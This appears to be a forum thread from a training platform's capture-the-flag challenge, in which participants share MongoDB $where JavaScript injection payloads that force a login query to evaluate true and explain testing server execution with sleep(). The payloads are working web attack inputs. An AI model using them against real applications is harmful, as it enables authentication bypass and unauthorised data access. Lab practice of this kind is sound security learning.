Forum Discussion
Trick or Treat: Manor of Madness
- 2 months ago
This should nudge you in the right direction - MongoDB $where operator JavaScript injection - Web Application Vulnerabilities | Invicti
Sure, the query i used is
$where":"this.name == '' && this.incantation == '';1==1"The aim was to discover you could use JavaScript injection to evaluate the query to true.
Hi Samh051,
This query worked for you in the last question?
- immervivesolver23 days ago
Bronze III
{“$where":"this.name == ‘admin’||’1’==‘1’&& this.incantation == ‘admin’||’1’==‘1’“}
PRABAKARANRAMAMURTHY- PRABAKARANRAMAMURTHY23 days ago
Bronze III
Thank you immervivesolver.
This worked:
{"$where":"this.name=='admin'||'1==1' && this.incantation =='admin'||'1==1'"}
- Samh05123 days ago
Bronze III
It did, you would use sleep(x) just to test if the server executes the javascript. You would then try and evaluate the statement to true. the ; at the end is to complete the command and the 1=1 is there to make it true. Are you having problems with the command?